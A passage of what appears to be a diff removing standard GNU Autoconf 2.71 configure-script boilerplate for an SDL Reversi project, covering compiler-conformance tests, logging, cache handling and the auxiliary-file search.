- } && test -s conftest$ac_exeext && { - test "$cross_compiling" = yes || - test -x conftest$ac_exeext - } -then : - ac_retval=0 -else $as_nop - printf "%s\n" "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_retval=1 -fi - # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information - # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would - # interfere with the next link command; also delete a directory that is - # left behind by Apple's compiler. We do this before executing the actions. - rm -rf conftest.dSYM conftest_ipa8_conftest.oo - eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno - as_fn_set_status $ac_retval - -} # ac_fn_c_try_link - -# ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES -# ------------------------------------------------------- -# Tests whether HEADER exists and can be compiled using the include files in -# INCLUDES, setting the cache variable VAR accordingly. -ac_fn_c_check_header_compile () -{ - as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 -printf %s "checking for $2... " >&6; } -if eval test \${$3+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$4 -#include <$2> -_ACEOF -if ac_fn_c_try_compile "$LINENO" -then : - eval "$3=yes" -else $as_nop - eval "$3=no" -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -fi -eval ac_res=\$$3 - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 -printf "%s\n" "$ac_res" >&6; } - eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno - -} # ac_fn_c_check_header_compile -ac_configure_args_raw= -for ac_arg -do - case $ac_arg in - *\'*) - ac_arg=`printf "%s\n" "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; - esac - as_fn_append ac_configure_args_raw " '$ac_arg'" -done - -case $ac_configure_args_raw in - *$as_nl*) - ac_safe_unquote= ;; - *) - ac_unsafe_z='|&;<>()$`\\"*?[ '' ' # This string ends in space, tab. - ac_unsafe_a="$ac_unsafe_z#~" - ac_safe_unquote="s/ '\\([^$ac_unsafe_a][^$ac_unsafe_z]*\\)'/ \\1/g" - ac_configure_args_raw=` printf "%s\n" "$ac_configure_args_raw" | sed "$ac_safe_unquote"`;; -esac - -cat >config.log <<_ACEOF -This file contains any messages produced by compilers while -running configure, to aid debugging if configure makes a mistake. - -It was created by sdlreversi $as_me 1.0, which was -generated by GNU Autoconf 2.71. Invocation command line was - - $ $0$ac_configure_args_raw - -_ACEOF -exec 5>>config.log -{ -cat <<_ASUNAME -## --------- ## -## Platform. ## -## --------- ## - -hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` -uname -m = `(uname -m) 2>/dev/null || echo unknown` -uname -r = `(uname -r) 2>/dev/null || echo unknown` -uname -s = `(uname -s) 2>/dev/null || echo unknown` -uname -v = `(uname -v) 2>/dev/null || echo unknown` - -/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` -/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` - -/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` -/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` -/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` -/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` -/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` -/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` -/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` - -_ASUNAME - -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - printf "%s\n" "PATH: $as_dir" - done -IFS=$as_save_IFS - -} >&5 - -cat >&5 <<_ACEOF - - -## ----------- ## -## Core tests. ## -## ----------- ## - -_ACEOF - - -# Keep a trace of the command line. -# Strip out --no-create and --no-recursion so they do not pile up. -# Strip out --silent because we don't want to record it for future runs. -# Also quote any args containing shell meta-characters. -# Make two passes to allow for proper duplicate-argument suppression. -ac_configure_args= -ac_configure_args0= -ac_configure_args1= -ac_must_keep_next=false -for ac_pass in 1 2 -do - for ac_arg - do - case $ac_arg in - -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil) - continue ;; - *\'*) - ac_arg=`printf "%s\n" "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; - esac - case $ac_pass in - 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; - 2) - as_fn_append ac_configure_args1 " '$ac_arg'" - if test $ac_must_keep_next = true; then - ac_must_keep_next=false # Got value, back to normal. - else - case $ac_arg in - *=* | --config-cache | -C | -disable-* | --disable-* \ - | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ - | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ - | -with-* | --with-* | -without-* | --without-* | --x) - case "$ac_configure_args0 " in - "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; - esac - ;; - -* ) ac_must_keep_next=true ;; - esac - fi - as_fn_append ac_configure_args " '$ac_arg'" - ;; - esac - done -done -{ ac_configure_args0=; unset ac_configure_args0;} -{ ac_configure_args1=; unset ac_configure_args1;} - -# When interrupted or exit'd, cleanup temporary files, and complete -# config.log. We remove comments because anyway the quotes in there -# would cause problems or look ugly. -# WARNING: Use '\'' to represent an apostrophe within the trap. -# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. -trap 'exit_status=$? - # Sanitize IFS. - IFS=" "" $as_nl" - # Save into config.log some information that might help in debugging. - { - echo - - printf "%s\n" "## ---------------- ## -## Cache variables. ## -## ---------------- ##" - echo - # The following way of writing the cache mishandles newlines in values, -( - for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do - eval ac_val=\$$ac_var - case $ac_val in #( - *${as_nl}*) - case $ac_var in #( - *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 -printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; - esac - case $ac_var in #( - _ | IFS | as_nl) ;; #( - BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( - *) { eval $ac_var=; unset $ac_var;} ;; - esac ;; - esac - done - (set) 2>&1 | - case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( - *${as_nl}ac_space=\ *) - sed -n \ - "s/'\''/'\''\\\\'\'''\''/g; - s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" - ;; #( - *) - sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" - ;; - esac | - sort -) - echo - - printf "%s\n" "## ----------------- ## -## Output variables. ## -## ----------------- ##" - echo - for ac_var in $ac_subst_vars - do - eval ac_val=\$$ac_var - case $ac_val in - *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; - esac - printf "%s\n" "$ac_var='\''$ac_val'\''" - done | sort - echo - - if test -n "$ac_subst_files"; then - printf "%s\n" "## ------------------- ## -## File substitutions. ## -## ------------------- ##" - echo - for ac_var in $ac_subst_files - do - eval ac_val=\$$ac_var - case $ac_val in - *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; - esac - printf "%s\n" "$ac_var='\''$ac_val'\''" - done | sort - echo - fi - - if test -s confdefs.h; then - printf "%s\n" "## ----------- ## -## confdefs.h. ## -## ----------- ##" - echo - cat confdefs.h - echo - fi - test "$ac_signal" != 0 && - printf "%s\n" "$as_me: caught signal $ac_signal" - printf "%s\n" "$as_me: exit $exit_status" - } >&5 - rm -f core *.core core.conftest.* && - rm -f -r conftest* confdefs* conf$$* $ac_clean_files && - exit $exit_status -' 0 -for ac_signal in 1 2 13 15; do - trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal -done -ac_signal=0 - -# confdefs.h avoids OS command line length limits that DEFS can exceed. -rm -f -r conftest* confdefs.h - -printf "%s\n" "/* confdefs.h */" > confdefs.h - -# Predefined preprocessor variables. - -printf "%s\n" "#define PACKAGE_NAME \"$PACKAGE_NAME\"" >>confdefs.h - -printf "%s\n" "#define PACKAGE_TARNAME \"$PACKAGE_TARNAME\"" >>confdefs.h - -printf "%s\n" "#define PACKAGE_VERSION \"$PACKAGE_VERSION\"" >>confdefs.h - -printf "%s\n" "#define PACKAGE_STRING \"$PACKAGE_STRING\"" >>confdefs.h - -printf "%s\n" "#define PACKAGE_BUGREPORT \"$PACKAGE_BUGREPORT\"" >>confdefs.h - -printf "%s\n" "#define PACKAGE_URL \"$PACKAGE_URL\"" >>confdefs.h - - -# Let the site file select an alternate cache file if it wants to. -# Prefer an explicitly selected file to automatically selected ones. -if test -n "$CONFIG_SITE"; then - ac_site_files="$CONFIG_SITE" -elif test "x$prefix" != xNONE; then - ac_site_files="$prefix/share/config.site $prefix/etc/config.site" -else - ac_site_files="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" -fi - -for ac_site_file in $ac_site_files -do - case $ac_site_file in #( - */*) : - ;; #( - *) : - ac_site_file=./$ac_site_file ;; -esac - if test -f "$ac_site_file" && test -r "$ac_site_file"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 -printf "%s\n" "$as_me: loading site script $ac_site_file" >&6;} - sed 's/^/| /' "$ac_site_file" >&5 - . "$ac_site_file" \ - || { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error $? "failed to load site script $ac_site_file -See \`config.log' for more details" "$LINENO" 5; } - fi -done - -if test -r "$cache_file"; then - # Some versions of bash will fail to source /dev/null (special files - # actually), so we avoid doing that. DJGPP emulates it as a regular file. - if test /dev/null != "$cache_file" && test -f "$cache_file"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 -printf "%s\n" "$as_me: loading cache $cache_file" >&6;} - case $cache_file in - [\\/]* | ?:[\\/]* ) . "$cache_file";; - *) . "./$cache_file";; - esac - fi -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 -printf "%s\n" "$as_me: creating cache $cache_file" >&6;} - >$cache_file -fi - -# Test code for whether the C++ compiler supports C++98 (global declarations) -ac_cxx_conftest_cxx98_globals=' -// Does the compiler advertise C++98 conformance? -#if !defined __cplusplus || __cplusplus < 199711L -# error "Compiler does not advertise C++98 conformance" -#endif - -// These inclusions are to reject old compilers that -// lack the unsuffixed header files. -#include -#include - -// and are *not* freestanding headers in C++98. -extern void assert (int); -namespace std { - extern int strcmp (const char *, const char *); -} - -// Namespaces, exceptions, and templates were all added after "C++ 2.0". -using std::exception; -using std::strcmp; - -namespace { - -void test_exception_syntax() -{ - try { - throw "test"; - } catch (const char *s) { - // Extra parentheses suppress a warning when building autoconf itself, - // due to lint rules shared with more typical C programs. - assert (!(strcmp) (s, "test")); - } -} - -template struct test_template -{ - T const val; - explicit test_template(T t) : val(t) {} - template T add(U u) { return static_cast(u) + val; } -}; - -} // anonymous namespace -' - -# Test code for whether the C++ compiler supports C++98 (body of main) -ac_cxx_conftest_cxx98_main=' - assert (argc); - assert (! argv[0]); -{ - test_exception_syntax (); - test_template tt (2.0); - assert (tt.add (4) == 6.0); - assert (true && !false); -} -' - -# Test code for whether the C++ compiler supports C++11 (global declarations) -ac_cxx_conftest_cxx11_globals=' -// Does the compiler advertise C++ 2011 conformance? -#if !defined __cplusplus || __cplusplus < 201103L -# error "Compiler does not advertise C++11 conformance" -#endif - -namespace cxx11test -{ - constexpr int get_val() { return 20; } - - struct testinit - { - int i; - double d; - }; - - class delegate - { - public: - delegate(int n) : n(n) {} - delegate(): delegate(2354) {} - - virtual int getval() { return this->n; }; - protected: - int n; - }; - - class overridden : public delegate - { - public: - overridden(int n): delegate(n) {} - virtual int getval() override final { return this->n * 2; } - }; - - class nocopy - { - public: - nocopy(int i): i(i) {} - nocopy() = default; - nocopy(const nocopy&) = delete; - nocopy & operator=(const nocopy&) = delete; - private: - int i; - }; - - // for testing lambda expressions - template Ret eval(Fn f, Ret v) - { - return f(v); - } - - // for testing variadic templates and trailing return types - template auto sum(V first) -> V - { - return first; - } - template auto sum(V first, Args... rest) -> V - { - return first + sum(rest...); - } -} -' - -# Test code for whether the C++ compiler supports C++11 (body of main) -ac_cxx_conftest_cxx11_main=' -{ - // Test auto and decltype - auto a1 = 6538; - auto a2 = 48573953.4; - auto a3 = "String literal"; - - int total = 0; - for (auto i = a3; *i; ++i) { total += *i; } - - decltype(a2) a4 = 34895.034; -} -{ - // Test constexpr - short sa[cxx11test::get_val()] = { 0 }; -} -{ - // Test initializer lists - cxx11test::testinit il = { 4323, 435234.23544 }; -} -{ - // Test range-based for - int array[] = {9, 7, 13, 15, 4, 18, 12, 10, 5, 3, - 14, 19, 17, 8, 6, 20, 16, 2, 11, 1}; - for (auto &x : array) { x += 23; } -} -{ - // Test lambda expressions - using cxx11test::eval; - assert (eval ([](int x) { return x*2; }, 21) == 42); - double d = 2.0; - assert (eval ([&](double x) { return d += x; }, 3.0) == 5.0); - assert (d == 5.0); - assert (eval ([=](double x) mutable { return d += x; }, 4.0) == 9.0); - assert (d == 5.0); -} -{ - // Test use of variadic templates - using cxx11test::sum; - auto a = sum(1); - auto b = sum(1, 2); - auto c = sum(1.0, 2.0, 3.0); -} -{ - // Test constructor delegation - cxx11test::delegate d1; - cxx11test::delegate d2(); - cxx11test::delegate d3(45); -} -{ - // Test override and final - cxx11test::overridden o1(55464); -} -{ - // Test nullptr - char *c = nullptr; -} -{ - // Test template brackets - test_template<::test_template> v(test_template(12)); -} -{ - // Unicode literals - char const *utf8 = u8"UTF-8 string \u2500"; - char16_t const *utf16 = u"UTF-8 string \u2500"; - char32_t const *utf32 = U"UTF-32 string \u2500"; -} -' - -# Test code for whether the C compiler supports C++11 (complete). -ac_cxx_conftest_cxx11_program="${ac_cxx_conftest_cxx98_globals} -${ac_cxx_conftest_cxx11_globals} - -int -main (int argc, char **argv) -{ - int ok = 0; - ${ac_cxx_conftest_cxx98_main} - ${ac_cxx_conftest_cxx11_main} - return ok; -} -" - -# Test code for whether the C compiler supports C++98 (complete). -ac_cxx_conftest_cxx98_program="${ac_cxx_conftest_cxx98_globals} -int -main (int argc, char **argv) -{ - int ok = 0; - ${ac_cxx_conftest_cxx98_main} - return ok; -} -" - -# Test code for whether the C compiler supports C89 (global declarations) -ac_c_conftest_c89_globals=' -/* Does the compiler advertise C89 conformance? - Do not test the value of __STDC__, because some compilers set it to 0 - while being otherwise adequately conformant. */ -#if !defined __STDC__ -# error "Compiler does not advertise C89 conformance" -#endif - -#include -#include -struct stat; -/* Most of the following tests are stolen from RCS 5.7 src/conf.sh. */ -struct buf { int x; }; -struct buf * (*rcsopen) (struct buf *, struct stat *, int); -static char *e (p, i) - char **p; - int i; -{ - return p[i]; -} -static char *f (char * (*g) (char **, int), char **p, ...) -{ - char *s; - va_list v; - va_start (v,p); - s = g (p, va_arg (v,int)); - va_end (v); - return s; -} - -/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has - function prototypes and stuff, but not \xHH hex character constants. - These do not provoke an error unfortunately, instead are silently treated - as an "x". The following induces an error, until -std is added to get - proper ANSI mode. Curiously \x00 != x always comes out true, for an - array size at least. It is necessary to write \x00 == 0 to get something - that is true only with -std. */ -int osf4_cc_array ['\''\x00'\'' == 0 ? 1 : -1]; - -/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters - inside strings and character constants. */ -#define FOO(x) '\''x'\'' -int xlc6_cc_array[FOO(a) == '\''x'\'' ? 1 : -1]; - -int test (int i, double x); -struct s1 {int (*f) (int a);}; -struct s2 {int (*f) (double a);}; -int pairnames (int, char **, int *(*)(struct buf *, struct stat *, int), - int, int);' - -# Test code for whether the C compiler supports C89 (body of main). -ac_c_conftest_c89_main=' -ok |= (argc == 0 || f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]); -' - -# Test code for whether the C compiler supports C99 (global declarations) -ac_c_conftest_c99_globals=' -// Does the compiler advertise C99 conformance? -#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 199901L -# error "Compiler does not advertise C99 conformance" -#endif - -#include -extern int puts (const char *); -extern int printf (const char *, ...); -extern int dprintf (int, const char *, ...); -extern void *malloc (size_t); - -// Check varargs macros. These examples are taken from C99 6.10.3.5. -// dprintf is used instead of fprintf to avoid needing to declare -// FILE and stderr. -#define debug(...) dprintf (2, __VA_ARGS__) -#define showlist(...) puts (#__VA_ARGS__) -#define report(test,...) ((test) ? puts (#test) : printf (__VA_ARGS__)) -static void -test_varargs_macros (void) -{ - int x = 1234; - int y = 5678; - debug ("Flag"); - debug ("X = %d\n", x); - showlist (The first, second, and third items.); - report (x>y, "x is %d but y is %d", x, y); -} - -// Check long long types. -#define BIG64 18446744073709551615ull -#define BIG32 4294967295ul -#define BIG_OK (BIG64 / BIG32 == 4294967297ull && BIG64 % BIG32 == 0) -#if !BIG_OK - #error "your preprocessor is broken" -#endif -#if BIG_OK -#else - #error "your preprocessor is broken" -#endif -static long long int bignum = -9223372036854775807LL; -static unsigned long long int ubignum = BIG64; - -struct incomplete_array -{ - int datasize; - double data[]; -}; - -struct named_init { - int number; - const wchar_t *name; - double average; -}; - -typedef const char *ccp; - -static inline int -test_restrict (ccp restrict text) -{ - // See if C++-style comments work. - // Iterate through items via the restricted pointer. - // Also check for declarations in for loops. - for (unsigned int i = 0; *(text+i) != '\''\0'\''; ++i) - continue; - return 0; -} - -// Check varargs and va_copy. -static bool -test_varargs (const char *format, ...) -{ - va_list args; - va_start (args, format); - va_list args_copy; - va_copy (args_copy, args); - - const char *str = ""; - int number = 0; - float fnumber = 0; - - while (*format) - { - switch (*format++) - { - case '\''s'\'': // string - str = va_arg (args_copy, const char *); - break; - case '\''d'\'': // int - number = va_arg (args_copy, int); - break; - case '\''f'\'': // float - fnumber = va_arg (args_copy, double); - break; - default: - break; - } - } - va_end (args_copy); - va_end (args); - - return *str && number && fnumber; -} -' - -# Test code for whether the C compiler supports C99 (body of main). -ac_c_conftest_c99_main=' - // Check bool. - _Bool success = false; - success |= (argc != 0); - - // Check restrict. - if (test_restrict ("String literal") == 0) - success = true; - char *restrict newvar = "Another string"; - - // Check varargs. - success &= test_varargs ("s, d'\'' f .", "string", 65, 34.234); - test_varargs_macros (); - - // Check flexible array members. - struct incomplete_array *ia = - malloc (sizeof (struct incomplete_array) + (sizeof (double) * 10)); - ia->datasize = 10; - for (int i = 0; i < ia->datasize; ++i) - ia->data[i] = i * 1.234; - - // Check named initializers. - struct named_init ni = { - .number = 34, - .name = L"Test wide string", - .average = 543.34343, - }; - - ni.number = 58; - - int dynamic_array[ni.number]; - dynamic_array[0] = argv[0][0]; - dynamic_array[ni.number - 1] = 543; - - // work around unused variable warnings - ok |= (!success || bignum == 0LL || ubignum == 0uLL || newvar[0] == '\''x'\'' - || dynamic_array[ni.number - 1] != 543); -' - -# Test code for whether the C compiler supports C11 (global declarations) -ac_c_conftest_c11_globals=' -// Does the compiler advertise C11 conformance? -#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 201112L -# error "Compiler does not advertise C11 conformance" -#endif - -// Check _Alignas. -char _Alignas (double) aligned_as_double; -char _Alignas (0) no_special_alignment; -extern char aligned_as_int; -char _Alignas (0) _Alignas (int) aligned_as_int; - -// Check _Alignof. -enum -{ - int_alignment = _Alignof (int), - int_array_alignment = _Alignof (int[100]), - char_alignment = _Alignof (char) -}; -_Static_assert (0 < -_Alignof (int), "_Alignof is signed"); - -// Check _Noreturn. -int _Noreturn does_not_return (void) { for (;;) continue; } - -// Check _Static_assert. -struct test_static_assert -{ - int x; - _Static_assert (sizeof (int) <= sizeof (long int), - "_Static_assert does not work in struct"); - long int y; -}; - -// Check UTF-8 literals. -#define u8 syntax error! -char const utf8_literal[] = u8"happens to be ASCII" "another string"; - -// Check duplicate typedefs. -typedef long *long_ptr; -typedef long int *long_ptr; -typedef long_ptr long_ptr; - -// Anonymous structures and unions -- taken from C11 6.7.2.1 Example 1. -struct anonymous -{ - union { - struct { int i; int j; }; - struct { int k; long int l; } w; - }; - int m; -} v1; -' - -# Test code for whether the C compiler supports C11 (body of main). -ac_c_conftest_c11_main=' - _Static_assert ((offsetof (struct anonymous, i) - == offsetof (struct anonymous, w.k)), - "Anonymous union alignment botch"); - v1.i = 2; - v1.w.k = 5; - ok |= v1.i != 5; -' - -# Test code for whether the C compiler supports C11 (complete). -ac_c_conftest_c11_program="${ac_c_conftest_c89_globals} -${ac_c_conftest_c99_globals} -${ac_c_conftest_c11_globals} - -int -main (int argc, char **argv) -{ - int ok = 0; - ${ac_c_conftest_c89_main} - ${ac_c_conftest_c99_main} - ${ac_c_conftest_c11_main} - return ok; -} -" - -# Test code for whether the C compiler supports C99 (complete). -ac_c_conftest_c99_program="${ac_c_conftest_c89_globals} -${ac_c_conftest_c99_globals} - -int -main (int argc, char **argv) -{ - int ok = 0; - ${ac_c_conftest_c89_main} - ${ac_c_conftest_c99_main} - return ok; -} -" - -# Test code for whether the C compiler supports C89 (complete). -ac_c_conftest_c89_program="${ac_c_conftest_c89_globals} - -int -main (int argc, char **argv) -{ - int ok = 0; - ${ac_c_conftest_c89_main} - return ok; -} -" - -as_fn_append ac_header_c_list " stdio.h stdio_h HAVE_STDIO_H" -as_fn_append ac_header_c_list " stdlib.h stdlib_h HAVE_STDLIB_H" -as_fn_append ac_header_c_list " string.h string_h HAVE_STRING_H" -as_fn_append ac_header_c_list " inttypes.h inttypes_h HAVE_INTTYPES_H" -as_fn_append ac_header_c_list " stdint.h stdint_h HAVE_STDINT_H" -as_fn_append ac_header_c_list " strings.h strings_h HAVE_STRINGS_H" -as_fn_append ac_header_c_list " sys/stat.h sys_stat_h HAVE_SYS_STAT_H" -as_fn_append ac_header_c_list " sys/types.h sys_types_h HAVE_SYS_TYPES_H" -as_fn_append ac_header_c_list " unistd.h unistd_h HAVE_UNISTD_H" - -# Auxiliary files required by this configure script. -ac_aux_files="compile missing install-sh" - -# Locations in which to look for auxiliary files. -ac_aux_dir_candidates="${srcdir}/build-aux" - -# Search for a directory containing all of the required auxiliary files, -# $ac_aux_files, from the $PATH-style list $ac_aux_dir_candidates. -# If we don't find one directory that contains all the files we need, -# we report the set of missing files from the *first* directory in -# $ac_aux_dir_candidates and give up. -ac_missing_aux_files="" -ac_first_candidate=: -printf "%s\n" "$as_me:${as_lineno-$LINENO}: looking for aux files: $ac_aux_files" >&5 -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -as_found=false -for as_dir in $ac_aux_dir_candidates -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - as_found=: - - printf "%s\n" "$as_me:${as_lineno-$LINENO}: trying $as_dir" >&5 - ac_aux_dir_found=yes - ac_install_sh= - for ac_aux in $ac_aux_files - do - # As a special case, if "install-sh" is required, that requirement - # can be satisfied by any of "install-sh", "install.sh", or "shtool", - # and $ac_install_sh is set appropriately for whichever one is found. - if test x"$ac_aux" = x"install-sh" - then - if test -f "${as_dir}install-sh"; then - printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install-sh found" >&5 - ac_install_sh="${as_dir}install-sh -c" - elif test -f "${as_dir}install.sh"; then - printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}install.sh found" >&5 - ac_install_sh="${as_dir}install.sh -c" - elif test -f "${as_dir}shtool"; then - printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}shtool found" >&5 - ac_install_sh="${as_dir}shtool install -c" - else - ac_aux_dir_found=no - if $ac_first_candidate; then - ac_missing_aux_files="${ac_missing_aux_files} install-sh" - else - break - fi - fi - else - if test -f "${as_dir}${ac_aux}"; then - printf "%s\n" "$as_me:${as_lineno-$LINENO}: ${as_dir}${ac_aux} found" >&5 - else - ac_aux_dir_found=no - if $ac_first_candidate; then - ac_missing_aux_files="${ac_missing_aux_files} ${ac_aux}" - else - break - fi - fi - fi - done - if test "$ac_aux_dir_found" = yes; then - ac_aux_dir="$as_dir" - break - fi - ac_first_candidate=false - - as_found=false -done -IFS=$as_save_IFS -if $as_found -then : - -else $as_nop - as_fn_error $? "cannot find required auxiliary files:$ac_missing_aux_files" "$LINENO" 5 -fi - - -# These three variables are undocumented and unsupported, -# and are intended to be withdrawn in a future Autoconf release. -# They can cause serious problems if a builder's source tree is in a directory -# whose full name contains unusual characters. -if test -f "${ac_aux_dir}config.guess"; then - ac_config_guess="$SHELL ${ac_aux_dir}config.guess" -fi -if test -f "${ac_aux_dir}config.sub"; then - ac_config_sub="$SHELL ${ac_aux_dir}config.sub" -fi -if test -f "$ac_aux_dir/configure"; then - ac_configure="$SHELL ${ac_aux_dir}configure" -fi - -# Check that the precious variables saved in the cache have kept the same -# value. -ac_cache_corrupted=false -for ac_var in $ac_precious_vars; do - eval ac_old_set=\$ac_cv_env_${ac_var}_set - eval ac_new_set=\$ac_env_${ac_var}_set - eval ac_old_val=\$ac_cv_env_${ac_var}_value - eval ac_new_val=\$ac_env_${ac_var}_value - case $ac_old_set,$ac_new_set in - set,) - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 -printf "%s\n" "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} - ac_cache_corrupted=: ;; - ,set) - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 -printf "%s\n" "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} - ac_cache_corrupted=: ;; - ,);; - *) - if test "x$ac_old_val" != "x$ac_new_val"; then - # differences in whitespace do not lead to failure. - ac_old_val_w=`echo x $ac_old_val` - ac_new_val_w=`echo x $ac_new_val` - if test "$ac_old_val_w" != "$ac_new_val_w"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 -printf "%s\n" "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} - ac_cache_corrupted=: - else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 -printf "%s\n" "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} - eval $ac_var=\$ac_old_val - fi - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 -printf "%s\n" "$as_me: former value: \`$ac_old_val'" >&2;} - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 -printf "%s\n" "$as_me: current value: \`$ac_new_val'" >&2;} - fi;; - esac - # Pass precious variables to config.status. - if test "$ac_new_set" = set; then - case $ac_new_val in - *\'*) ac_arg=$ac_var=`printf "%s\n" "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; - *) ac_arg=$ac_var=$ac_new_val ;; - esac - case " $ac_configure_args " in - *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. - *) as_fn_append ac_configure_args " '$ac_arg'" ;; - esac - fi -done -if $ac_cache_corrupted; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 -printf "%s\n" "$as_me: error: changes in the environment can compromise the build" >&2;} - as_fn_error $? "run \`${MAKE-make} distclean' and/or \`rm $cache_file' - and start over" "$LINENO" 5 -fi -## -------------------- ## -## Main body of script. ## -## -------------------- ## - -ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu - - - -ac_config_headers="$ac_config_headers config.h" - - - - - -if test "`uname -s`" = "NetBSD"; then - if true; then - NETBSD_TRUE= - NETBSD_FALSE='#' -else - NETBSD_TRUE='#' - NETBSD_FALSE= -fi - - CFLAGS="-I/usr/pkg/include -L/usr/pkg/lib -Wl,-R/usr/pkg/lib" -else - if false; then - NETBSD_TRUE= - NETBSD_FALSE='#' -else - NETBSD_TRUE='#' - NETBSD_FALSE= -fi - -fi - -am__api_version='1.16' - - - - # Find a good install program. We prefer a C program (faster), -# so one script is as good as another. But avoid the broken or -# incompatible versions: -# SysV /etc/install, /usr/sbin/install -# SunOS /usr/etc/install -# IRIX /sbin/install -# AIX /bin/install -# AmigaOS /C/install, which installs bootblocks on floppy discs -# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag -# AFS /usr/afsws/bin/install, which mishandles nonexistent args -# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" -# OS/2's system install, which has a completely different semantic -# ./install, which can be erroneously created by make from ./install.sh. -# Reject install programs that cannot install multiple files. -{ printf "%s\n" 